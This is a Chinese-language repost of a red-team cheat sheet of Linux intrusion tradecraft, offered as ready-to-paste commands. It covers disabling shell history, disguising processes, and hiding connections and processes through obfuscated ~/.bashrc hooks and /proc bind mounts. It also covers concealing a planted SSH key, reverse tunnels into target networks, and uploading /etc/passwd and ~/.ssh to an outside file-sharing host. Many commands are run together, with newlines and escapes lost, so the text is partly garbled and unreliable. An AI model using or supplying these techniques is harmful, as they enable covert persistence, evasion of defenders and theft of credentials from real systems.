技巧集结:红队实战备忘录

admin 2023年10月14日00:35:47评论8 views字数 11327阅读37分45秒阅读模式

技巧集结:红队实战备忘录

Bash 不记录历史记录:

告诉 Bash 使用/dev/null而不是~/.bash_history。这是我们在每个 shell 上执行的第一个命令。它将阻止 Bash 记录您的命令。

export HISTFILE=/dev/nullunset SSH_CONNECTION SSH_CLIENT

(如果我们使用 SSH 登录,我们还会清除 SSH_* 变量。否则我们启动的任何进程都会在 /proc/self/environ 中获取 IP 的副本。)

退出 shell 时“自杀”是很好的内务管理:

alias exit='kill -9 $$'

任何以“”(空格)开头的命令也不会记录到历史记录中。

$  id

隐藏你的命令 / Daemonzie 你的命令

隐藏为“syslogd”。

(exec -a syslogd nmap -T0 10.0.2.1/24) # Note the brackets '(' and ')'

启动后台隐藏进程:

(exec -a syslogd nmap -T0 10.0.2.1/24 &>nmap.log &)

在GNU 屏幕中启动:

screen -dmS MyName nmap -T0 10.0.2.1/24
screen -x MyName

或者,如果没有 Bash:

cp `which nmap` syslogdPATH=.:$PATH syslogd -T0 10.0.2.1/24

在此示例中,我们执行nmap,但让它以名称syslogd出现在ps alxwww进程列表中。

隐藏您的命令行选项

使用zapper

# Start Nmap but zap all options and show it as 'klog' in the process list:./zapper -a klog nmap -T0 10.0.0.1/24# Same but started as a daemon:(./zapper -a klog nmap -T0 10.0.0.1/24 &>nmap.log &)# Replace the existing shell with tmux (with 'exec').# Then start and hide tmux and all further processes - as some kernel process:exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux

隐藏网络连接

劫持netstat并使用 grep 来过滤掉我们的连接。此示例过滤端口 31337或ip 1.2.3.4 上的任何连接。ss对于(netstat 替代方案)也应该做同样的事情。

方法 1 - 在 ~/.bashrc 中隐藏与 bash-function 的连接

剪切并粘贴此行以将行添加到 ~/.bashrc

echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc && touch -r /etc/passwd ~/.bashrc

或者将其剪切并粘贴到 ~/.bashrc 中以混淆条目:

X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }'echo "eval $(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>~/.bashrc && touch -r /etc/passwd ~/.bashrc

~/.bashrc 的混淆条目将如下所示:

eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG

隐藏与 $PATH 中的二进制文件的连接

在 /usr/local/sbin 中创建一个假的 netstat 二进制文件。在默认的 Debian(和大多数 Linux)上,PATH 变量 ( )在 /usr/bin 之前echo $PATH列出 /usr/local/sbin 。这意味着我们的劫持二进制文件 /usr/local/sbin/netstat 将被执行,而不是 /usr/bin/netstat。

echo -e "#! /bin/bashexec /usr/bin/netstat "$@" | grep -Fv -e :22 -e 1.2.3.4" >/usr/local/sbin/netstat && chmod 755 /usr/local/sbin/netstat && touch -r /usr/bin/netstat /usr/local/sbin/netstat

以用户身份隐藏进程

继续“隐藏连接”,可以使用相同的技术来隐藏进程。此示例隐藏了 nmap 进程,并通过grep将其重命名为 GREP 来确保我们的进程不会出现在进程列表中:

echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc && touch -r /etc/passwd ~/.bashrc

以 root 身份隐藏进程

这需要 root 权限,并且是一个古老的 Linux 技巧,通过使用无用的目录过度安装 /proc/
hide(){    [[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; }    _pid=${1:-$$}    [[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; }local _argstrfor _x in "${@:2}"; do _argstr+=" '${_x//'/'"'"'}'"; done    [[ $(bash -c "ps -o stat= -p $$") =~ + ]] || exec bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr"    bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr"}

要隐藏命令,请使用:

hide                                 # Hides the current shell/PIDhide 31337                           # Hides process with pid 31337hide sleep 1234                      # Hides 'sleep 1234'hide nohup sleep 1234 &>/dev/null &  # Starts and hides 'sleep 1234' as a background process

隐藏 shell 脚本

上面我们讨论了如何混淆 ~/.bashrc 中的一行。一个经常使用的技巧是使用source替代。source 命令可以缩短为.(是的,一个点),它还会搜索 $PATH 变量以查找要加载的文件。

在此示例中,我们的脚本prng包含上面的所有 shell 函数。这些功能隐藏了nmap进程和网络连接。最后我们添加. prng到系统范围的 rc 文件中。prng这将在用户(和 root)登录时加载:

echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >/usr/bin/prng && echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc && touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc

(同样适用于lsof、ss和ls)

躲猫

ANSI 转义字符或简单的r(回车符)可用于隐藏cat其他人。

隐藏最后一个命令(例如id:)~/.bashrc:

echo -e "id #\033[2K\033[1A" >>~/.bashrc### The ANSI escape sequence \033[2K erases the line. The next sequence \033[1A### moves the cursor 1 line up.### The '#' after the command 'id' is a comment and is needed so that bash still### executes the 'id' but ignores the two ANSI escape sequences.

注意:我们使用echo -e转换\033为 ANSI 转义字符(十六进制 0x1b)。

添加r(回车符)对于隐藏您的 ssh 密钥有很大帮助cat:

echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'r'"$(    ### This adds our key as the first key and 'cat authorized_keys' wont show### it. The $'r' is a bash special to create a r (carriage return).

SSH

几乎看不见的 SSH

阻止您出现在w或who命令中,并停止将主机记录到~/.ssh/known_hosts。

ssh -o UserKnownHostsFile=/dev/null -T [email protected] "bash -i"

PTY 和颜色让您倍感舒适thcssh [email protected]::

### Cut & Paste the following to your shell, then execute### thcssh [email protected]thcssh(){local ttypecho -e "e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:e[0;36m"echo -e 'PS1="{THC} [\033[36m]\u[\033[m]@[\033[32m]\h:[\033[33;1m]\w[\033[m]\$ "e[0m'    ttyp=$(stty -g)    stty raw -echo opost    [[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"    ssh -o UpdateHostKeys=no -o StrictHostKeyChecking="${a:-accept-new}" -T "$@" "unset SSH_CLIENT SSH_CONNECTION; TERM=xterm-256color BASH_HISTORY=/dev/null exec -a [ntp] script -qc 'exec -a [uid] /bin/bash -i' /dev/null"    stty "${ttyp}"}

SSH隧道

我们一直使用它来规避本地防火墙和 IP 过滤:

ssh -g -L31337:1.2.3.4:80 [email protected]

您或任何其他人现在可以通过端口 31337 连接到您的计算机,并通过隧道连接到 1.2.3.4 端口 80,并显示源 IP“server.org”。另一种无需服务器的替代方案是使用gs-netcat。

聪明的黑客使用键盘组合~C动态创建这些隧道,而无需重新连接 SSH。

我们用它来让朋友访问不在公共互联网上的内部机器:

ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]

连接到 server.org:31338 的任何人都将通过您的计算机通过端口 80 隧道连接到 192.168.0.5。另一种无需服务器的替代方案是使用gs-netcat。

SSHocks4/5隧道

OpenSSH 7.6 添加了对动态转发的袜子支持。示例:通过服务器传输所有浏览器流量。

ssh -D 1080 [email protected]

现在将您的浏览器配置为使用 SOCKS 127.0.0.1:1080。您的所有流量现在都通过server.org进行隧道传输,并将显示server.org的源 IP 。另一种无需服务器的替代方案是使用gs-netcat。

这与上面的例子相反。它允许其他人访问您的本地网络或让其他人使用您的计算机作为隧道端点。

ssh -g -R 1080 [email protected]

其他人配置 server.org:1080 作为他们的 SOCKS4/5 代理。他们现在可以连接到您的计算机有权访问的任何端口上的任何计算机。这包括访问本地网络上防火墙后面的计算机。另一种无需服务器的替代方案是使用gs-netcat。

SSH 到 NAT 后面的主机

ssh-j.com提供了出色的中继服务:访问 NAT/防火墙后面的主机(通过 SSH)。

在 NAT 后面的主机上:创建到ssh-j.com的反向 SSH 隧道,如下所示:

## Cut & Paste on the host behind NAT.sshj(){local pw   pw=${1,,}   [[ -z $pw ]] && { pw=$(head -c64echo "Press Ctrl-C to stop this tunnel."echo -e "To ssh to ${USER:-root}@${2:-127.0.0.1}:${3:-22} type: e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}e[0m"   ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22}}

sshj # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connectedsshj foobarblahblub # Creates tunnel to 127.0.0.1:22 with specific tunnel IDsshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN

然后从世界上任何其他地方使用此命令以“root”身份连接到“foobarblahblub”(NAT 后面的主机):

ssh -J [email protected] root@foobarblahblub

ssh 连接通过 ssh-j.com 进入反向隧道,到达 NAT 后面的主机。流量经过端到端加密,ssh-j.com 无法看到内容。

SSH 转向多个服务器

在使用远程服务器时,SSH ProxyJump 可以为您节省大量时间并减少麻烦。让我们假设这样的场景:

我们的工作站是 $local-kali,我们喜欢通过 SSH 连接到 $target-host。我们的工作站和 $target-host 之间没有直接连接。我们的工作站只能达到$C2。$C2 可以到达 $internal-jumphost (通过内部 eth1),而 $internal-jumphost 可以通过 eth2 到达最终的 $target-host。

$local-kali       -> $C2            -> $internal-jumphost    -> $target-hosteth0      192.168.8.160      10.25.237.119             eth1                         192.168.5.130       192.168.5.135eth2                                             172.16.2.120             172.16.2.121
除了我们值得信赖的工作站之外,我们不会ssh在任何计算机上执行 - 您也不会(永远)。

这就是 ProxyJump 提供帮助的地方:我们可以通过两个中间服务器 $C2 和 $internal-jumphost 进行“跳转”(无需在这些服务器上生成 shell)。ssh 连接在 $local-kali 和 $target-host 之间进行端到端加密,并且没有密码或密钥暴露给 $C2 或 $internal-jumphost。

## if we want to SSH to $target-host:kali@local-kali$ ssh -J [email protected],[email protected] [email protected]

## if we want to SSH to just $internal-jumphost:kali@local-kali$ ssh -J [email protected] [email protected]

我们也用它来在登录服务器时隐藏我们的 IP 地址。

 发现主机

## ARP disocer computers on the local networknmap -r -sn -PR 192.168.0.1/24## ICMP discover computers on the local netowrkNET="10.11.0"  # discover 10.11.0.1-10.11.0.254seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1

tcp转储

## Monitor every new TCP connectiontcpdump -n "tcp[tcpflags] == tcp-syn"

## Play a *bing*-noise for every new SSH connectiontcpdump -nlq "tcp[13] == 2 and dst port 22" | while read x; do echo "${x}"; echo -en \a; done

## Ascii output (for all large packets. Change to >40 if no TCP options are used).tcpdump -s 2048 -nAq 'tcp and (ip[2:2] > 60)'

隧道与转发

## Connect to SSL (using socat)socat stdio openssl-connect:smtp.gmail.com:465

## Connect to SSL (using openssl)openssl s_client -connect smtp.gmail.com:465## Bridge TCP to SSLsocat TCP-LISTEN:25,reuseaddr,fork openssl-connect:smtp.gmail.com:465

HTTPS 反向隧道

在服务器上:

### Reverse HTTPS tunnel to forward public HTTPS requests to Port 8080 on this server:ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]### Or using remote.moessh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]### Or using cloudflaredcurl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64chmod 755 cloudflaredcloudflared tunnel --url http://localhost:8080 --no-autoupdate

任一隧道都会为您生成一个新的 HTTPS-URL。在您的工作站上使用此 URL(见下文)。使用Gost在 HTTP(s) 链接上建立原始 TCP 隧道。

通过 HTTPS 的简单 STDIN/STDOUT 管道:

websocat -s 8080### and on the workstation use this command to connect:websocat wss://<HTTPS-URL>

或者运行 Socks-Proxy(通过 HTTPS):

### On the servergost -L mws://:8080

在工作站上:

将端口 2222 转发到服务器的端口 22。

gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'

或将其用作 Socks 代理:

gost -L :1080 -F 'mwss://<HTTPS-URL>:443'### Test the Socks-proxy:curl -x socks5h://0 ipinfo.io

更多信息:https: //github.com/twelvesec/port-forwarding以及通过 Cloudflare 到任何 TCP 服务和Awesome Tunneling 的隧道。

 通过 Socks Proxy 使用任何工具

在目标网络上:

## Create a SOCKS proxy into the target's network.## Use gs-netcat but ssh -D would work as well.gs-netcat -l -S

在您的工作站上:

## Create a gsocket tunnel into the target's network:gs-netcat -p 1080## Use ProxyChain to access any host on the target's network: echo -e "[ProxyList]nsocks5 127.0.0.1 1080" >pc.confproxychains -f pc.conf -q curl ipinfo.io## Scan the router at 192.168.1.1proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1## Start 10 nmaps in parallel:seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{}

查找您的公共 IP 地址

curl -s wtfismyip.com/json | jqcurl ifconfig.medig +short myip.opendns.com @resolver1.opendns.comhost myip.opendns.com resolver1.opendns.com

获取有关任何 IP 地址的地理位置信息:

curl https://ipinfo.io/8.8.8.8 | jqcurl http://ip-api.com/8.8.8.8curl https://cli.fyi/8.8.8.8

通过IP地址获取ASN信息:

asn() {  [[ -n $1 ]] && { echo -e "beginnverbosen${1}nend"|netcat whois.cymru.com 43| tail -n +2; return; }  (echo -e 'beginnverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2}asn 1.1.1.1           # Single IP Lookupcat IPS.txt | asn     # Bulk Lookup

检查 TOR 是否正常工作:

curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip### Result should be {"IsTor":true...

检查世界各地的可达性

https://ping.pe/上的优秀人员可以让您 ping/traceroute/mtr/dig/port - 检查来自世界各地的主机、检查 TCP 端口、解析域名等等。

要检查您的(当前)主机连接互联网的情况,请使用OONI Probe:

ooniprobe run imooniprobe run websitesooniprobe listooniprobe list 1

检查/扫描 IP 上的开放端口

Censys或Shodan端口查找服务:

curl https://internetdb.shodan.io/1.1.1.1

数据上传下载

无需curl的文件传输

使用 bash,仅下载:

burl() {    IFS=/ read -r proto x host query <<<"$1"exec 3<>"/dev/tcp/${host}/${PORT:-80}"echo -en "GET /${query} HTTP/1.0rnHost: ${host}rnrn" >&3    (while read -r l; do echo >&2 "$l"; [[ $l == $'r' ]] && break; done && cat ) <&3exec 3>&-}# burl http://ipinfo.io# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz

使用公共转储进行文件传输

剪切并粘贴到您的 bash 中:

transfer() {    [[ $# -eq 0 ]] && { echo -e >&2 "Usage:n    transfer n    transfer [name] <FILENAME"; return 255; }    [[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1}"; return; }    [[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; }    [[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1##*/}.tar.gz"; return; }    curl -SsfL --progress-bar -T "$1" "https://transfer.sh/${1##*/}"}

然后上传文件或目录:

transfer /etc/passwd  # A single filetransfer ~/.ssh       # An entire directory(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"

有用的命令

使用lsof -Pni或netstat -putan(或ss -putan)列出所有 Internet ( -tu ) 连接。

用于ss -lntp显示所有侦听 ( -l ) TCP ( -t ) 套接字。

使用netstat -rn或ip route show显示默认 Internet 路由。

用于curl cheat.sh/tar获取 tar 的 TLDR 帮助。与任何其他 Linux 命令一起使用。

用于curl -fsSL bench.sh | bash速度测试服务器。

通过长延迟链接或慢速链接进行黑客攻击可能会令人沮丧。每一次击键都是一一传递的,任何打字错误都会变得更加令人沮丧和耗时。rlwrap来救援。它会缓冲所有单个击键,直到按下Enter 键,然后立即传输整行。这使得高速打字、纠正拼写错误变得更加容易……

反向隧道接收端示例:

rlwrap --always-readline nc -vnlp 1524

SSH示例:

rlwrap --always-readline ssh user@host

还有很多,大家可以参考下面原文

https://github.com/cclsh/thc-tips-tricks-hacks-cheat-sheet#useful-commands

转自红队笔记录

文章来源:乌雲安全


黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文


END


原文始发于微信公众号(黑白之道):技巧集结:红队实战备忘录

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月14日00:35:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   技巧集结:红队实战备忘录http://cn-sec.com/archives/2102343.html

发表评论

匿名网友 填写信息